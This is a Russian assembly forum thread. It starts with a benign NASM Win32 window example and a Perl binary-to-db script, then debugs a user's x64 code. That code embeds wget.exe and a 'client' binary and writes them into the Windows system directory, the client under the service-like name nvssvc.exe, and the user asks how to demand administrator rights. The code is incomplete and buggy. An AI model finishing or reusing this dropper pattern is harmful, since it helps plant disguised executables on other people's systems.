Пример 32-разрядного простого окна Код (ASM): ; nasm windows gui # ; nasmw hello.asm -o hello.exe %macro invoke 1-* ; macro to call Win32 API functions %rep %0 - 1 ; repeat for each argument %rotate -1 ; rotate right (last becomes %1) push %1 ; push argument %endrep %rotate -1 ; %1 = function name CALL [%1] ; call API function via IAT %endm %macro push 1-* %rep %0 push %1 %rotate 1 %endrep %endm %define COLOR_WINDOW 5 %define exebase 400000h %define WM_DESTROY 2 ; Window Styles %define WS_OVERLAPPED 0x00000000 %define WS_POPUP 0x80000000 %define WS_CHILD 0x40000000 %define WS_MINIMIZE 0x20000000 %define WS_VISIBLE 0x10000000 %define WS_DISABLED 0x08000000 %define WS_CLIPSIBLINGS 0x04000000 %define WS_CLIPCHILDREN 0x02000000 %define WS_MAXIMIZE 0x01000000 %define WS_CAPTION 0x00C00000 %define WS_BORDER 0x00800000 %define WS_DLGFRAME 0x00400000 %define WS_VSCROLL 0x00200000 %define WS_HSCROLL 0x00100000 %define WS_SYSMENU 0x00080000 %define WS_THICKFRAME 0x00040000 %define WS_GROUP 0x00020000 %define WS_TABSTOP 0x00010000 %define WS_MINIMIZEBOX 0x00020000 %define WS_MAXIMIZEBOX 0x00010000 %define WS_TILED WS_OVERLAPPED %define WS_ICONIC WS_MINIMIZE %define WS_SIZEBOX WS_THICKFRAME %define WS_TILEDWINDOW WS_OVERLAPPEDWINDOW ; Common Window Styles %define WS_OVERLAPPEDWINDOW (WS_OVERLAPPED | \ WS_CAPTION | \ WS_SYSMENU | \ WS_THICKFRAME | \ WS_MINIMIZEBOX | \ WS_MAXIMIZEBOX) [BITS 32] ORG exebase ;for WinXP - 538 bytes dd 'MZ','PE',1014Ch,0,0,0,10F0080h,10Bh,END_SECTION-start,0,0,start-exebase dd start-exebase,0,exebase,4,4,4,0,4,0,END_SECTION-exebase,start-exebase,0,2 dd 100000h,1000h,100000h,1000h,0,4,0,0,import-exebase,end_import-import,0,0,0,0 dd '.text',0,start-exebase,END_SECTION-start,start-exebase,0,0,0,0E0000020h ;--------------------------------------------------------- start: xor ebx,ebx mov esi,exebase;=400000h mov edi,wTitle ;------------------------------ ; registering the window class ;------------------------------ invoke RegisterClass,esp,ebx,window_procedure,ebx,\ ebx,esi,ebx,10011h,COLOR_WINDOW+1,ebx,edi ;--------------------------+ ; creating the main window | ;--------------------------+ push ebx,esi shl esi,9 invoke CreateWindowEx,ebx,edi,edi,\ WS_OVERLAPPEDWINDOW|WS_VISIBLE,esi,esi,esi,esi,ebx,ebx mov ebp,esp ;---------------------------+ ; entering the message loop | ;---------------------------+ message_loop: invoke GetMessage,ebp,ebx,ebx,ebx invoke DispatchMessage,ebp jmp message_loop ;----------------------+ ; the window procedure | ;----------------------+ window_procedure: cmp dword[esp+0x08],byte WM_DESTROY je short wmDESTROY jmp dword [DefWindowProc] wmDESTROY: invoke ExitProcess,ebx wTitle db 'Iczelion Tutorial #3:A Simple Window in NASM';name of our window ;------------------------------------------------------------------------------------------- import: dd 0,0,0,user32_dll-exebase dd user32_table-exebase dd 0,0,0,kernel32_dll-exebase dd kernel32_table-exebase dd 0,0,0,0 user32_table: RegisterClass dd _RegisterClass-exebase CreateWindowEx dd _CreateWindowEx-exebase GetMessage dd _GetMessage-exebase DispatchMessage dd _DispatchMessage-exebase DefWindowProc dd _DefWindowProc-exebase,0 kernel32_table: ExitProcess dd _ExitProcess-exebase dw 0 _RegisterClass db 0,0,'RegisterClassA' _CreateWindowEx db 0,0,'CreateWindowExA' _GetMessage db 0,0,'GetMessageA' _DispatchMessage db 0,0,'DispatchMessageA' _DefWindowProc db 0,0,'DefWindowProcA',0 user32_dll db 'user32' _ExitProcess db 0,0,'ExitProcess',0 kernel32_dll db 'kernel32' end_import: END_SECTION:
Вот исходинк bin2db.pl - наверное его нужно подправить для nasm. Код (Perl): #!/usr/bin/perl use warnings; use strict; die "usage: $0 <filename>\n" unless $ARGV[0]; open BIN,$ARGV[0] or die "$ARGV[0]: $!\n"; binmode BIN,":raw" or die "binmode(): $!\n"; my $byte; my $i = 0; my $length = 0; while (read BIN,$byte,1 > 0) { $length += 1; print "\t"x3 . "db " if $i == 0; $i++; printf "0%sh",unpack("H2",$byte); print ", " if $i < 10; if ( $i == 10 ) { print "\n"; $i = 0 } } print STDERR "$length\n"; print STDERR sprintf "%s\n",unpack("H*",pack("N*",$length));
Hacker, это перл, а я его не знаю ничего так не ценится, как шишки набитые самостоятельно, запасись терпением, книжками и делай сам, оправдывай свой ник...
Слишком сложно для меня что бы переписать на nasm win64 Потом разберемся ладно, пока буду писать основное тело программы. Да, GoLink мусорит своими данными в PE файле, я смотрел... хорошо бы было собрать без его информации bin
Ну подскажите тогда как сделать подругому, автоматически. Нужно запаковать wget.exe в тело другой программы и потом при запуске распаковать его. --- Сообщение объединено, 9 янв 2021 --- Код (Perl): #!/usr/bin/perl use warnings; use strict; die "usage: $0 <filename>\n" unless $ARGV[0]; open BIN,$ARGV[0] or die "$ARGV[0]: $!\n"; binmode BIN,":raw" or die "binmode(): $!\n"; my $byte; my $i = 0; my $length = 0; while (read BIN,$byte,1 > 0) { $length += 1; print "\t"x3 . "db '" if $i == 0; $i++; printf "0x%s",unpack("H2",$byte); print "', '" if $i < 10; if ( $i == 10 ) { print "'\n"; $i = 0 } } print STDERR "$length\n"; print STDERR sprintf "%s\n",unpack("H*",pack("N*",$length)); Получается вот так как нужно: Код (ASM): wget db '0x4d', '0x5a', '0x90', '0x00', '0x03', '0x00', '0x00', '0x00', '0x04', '0x00' db '0x00', '0x00', '0xff', '0xff', '0x00', '0x00', '0xb8', '0x00', '0x00', '0x00' db '0x00', '0x00', '0x00', '0x00', '0x40', '0x00', '0x00', '0x00', '0x00', '0x00' db '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00' db '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00' db '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00' db '0x80', '0x00', '0x00', '0x00', '0x0e', '0x1f', '0xba', '0x0e', '0x00', '0xb4' ... wget_len equ $-wget --- Сообщение объединено, 9 янв 2021 --- Код (ASM): push NULL push NULL push 2 mov r9 , 0 mov r8 , 3 mov rdx , 80000000h+40000000h mov rcx , Buffer_Path call CreateFileA GetLastError возвращает 57h = ERROR_INVALID_PARAMETER The parameter is incorrect. Где я не прав? вот код целиком пока какой есть: main.asm Код (ASM): global start NULL equ 0 extern GetSystemDirectoryA extern lstrcatA extern CreateFileA extern WriteFile extern CloseHandle extern ExitProcess section .data Buffer_Path db 260 dup (?) hFile dq 1 pBytesWritten dq 1 %include 'client.inc' client_name db '\nvssvc.exe',0 %include 'wget.inc' wget_name db '\wget.exe',0 section .code start: sub esp,40 mov rdx , 260d mov rcx , Buffer_Path call GetSystemDirectoryA mov rdx , wget_name mov rcx , Buffer_Path call lstrcatA push NULL push NULL push 2 mov r9 , 0 mov r8 , 3 mov rdx , 80000000h+40000000h mov rcx , Buffer_Path call CreateFileA %include 'GLE.asm' call GLE mov [hFile] , rax push NULL mov r9 , pBytesWritten mov r8 , wget_len mov rdx , wget mov rcx , rax call WriteFile mov rcx , hFile call CloseHandle ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov rdx , 260d mov rcx , Buffer_Path call GetSystemDirectoryA mov rdx , client_name mov rcx , Buffer_Path call lstrcatA push NULL push NULL push 2 mov r9 , 0 mov r8 , 3 mov rdx , 80000000h+40000000h mov rcx , Buffer_Path call CreateFileA mov [hFile] , rax push NULL mov r9 , pBytesWritten mov r8 , client_len mov rdx , client mov rcx , rax call WriteFile mov rcx , hFile call CloseHandle mov rcx , rax call ExitProcess GLE.asm Код (ASM): extern MessageBoxA extern ExitProcess extern GetLastError extern wsprintfA section .data ErrorCode db 256 dup (?) Format db '%08Xh',0 section .code GLE: sub rsp,40 call GetLastError mov r8 , rax mov rdx , Format mov rcx , ErrorCode call wsprintfA mov r9 , NULL mov r8 , NULL mov rdx , ErrorCode mov rcx , NULL call MessageBoxA mov rcx , rax call ExitProcess Client & wget include (там нормальные данные) Код (ASM): wget db '0x55' db '0x55' wget_len equ $-wget & Код (ASM): client db '0x55' db '0x55' client_len equ $-client Какой именно из параметров некорректный, и как требовать запускать программу от Администратора?
Hacker, ты невнимателен, я же говорил, что нужно обходится без push Код (ASM): mov [rsp+30h],arg7 mov [rsp+28h],arg6 mov [rsp+20h],arg5 mov r9,arg4 mov r8,arg3 mov rdx,arg2 mov rcx,arg1 call foo
Hacker, читай пока книжки о NASM, пиши простые программы. То, что ты хочешь написать ― напишешь позже и самостоятельно
mov [rsp+30h] , 0x00 mov [rsp+28h] , 0x00 mov [rsp+20h] , 0x02 mov r9 , 0x00 mov r8 , 0x03 mov rdx , 0x80000000+0x40000000 mov rcx , Buffer_Path call CreateFileA ____ main.asm:38: error: operation size not specified main.asm:39: error: operation size not specified main.asm:40: error: operation size not specified
Код (ASM): mov qword [rsp+30h] ,0 mov qword [rsp+28h] ,0 mov qword [rsp+20h] ,2 xor r9d, r9d mov r8d, 3 mov edx , 0x80000000 | 0x40000000 mov ecx , Buffer_Path call CreateFileA
Что-то не в порядке с передачей HANDLE FILE функции WriteFile Код (ASM): hFile dq 1 ... mov qword [rsp+30h] , 0 mov qword [rsp+28h] , 0 mov qword [rsp+20h] , 2 xor r9 , r9 mov r8 , 3 mov edx , 0x80000000 + 0x40000000 mov ecx , Buffer_Path call CreateFileA mov [hFile] , rax mov qword [rsp+20h] , 0 mov r9 , pBytesWritten mov r8 , wget_len mov rdx , wget mov rcx , hFile call WriteFile mov rcx , hFile call CloseHandle ... Передаю через регистер rax фаил вроде записывается но получается не полный, видемо не закрывается потом CloseHandle Пробывал и mov qword [hFile] , rax и hFile resq 1 - ни чего не получается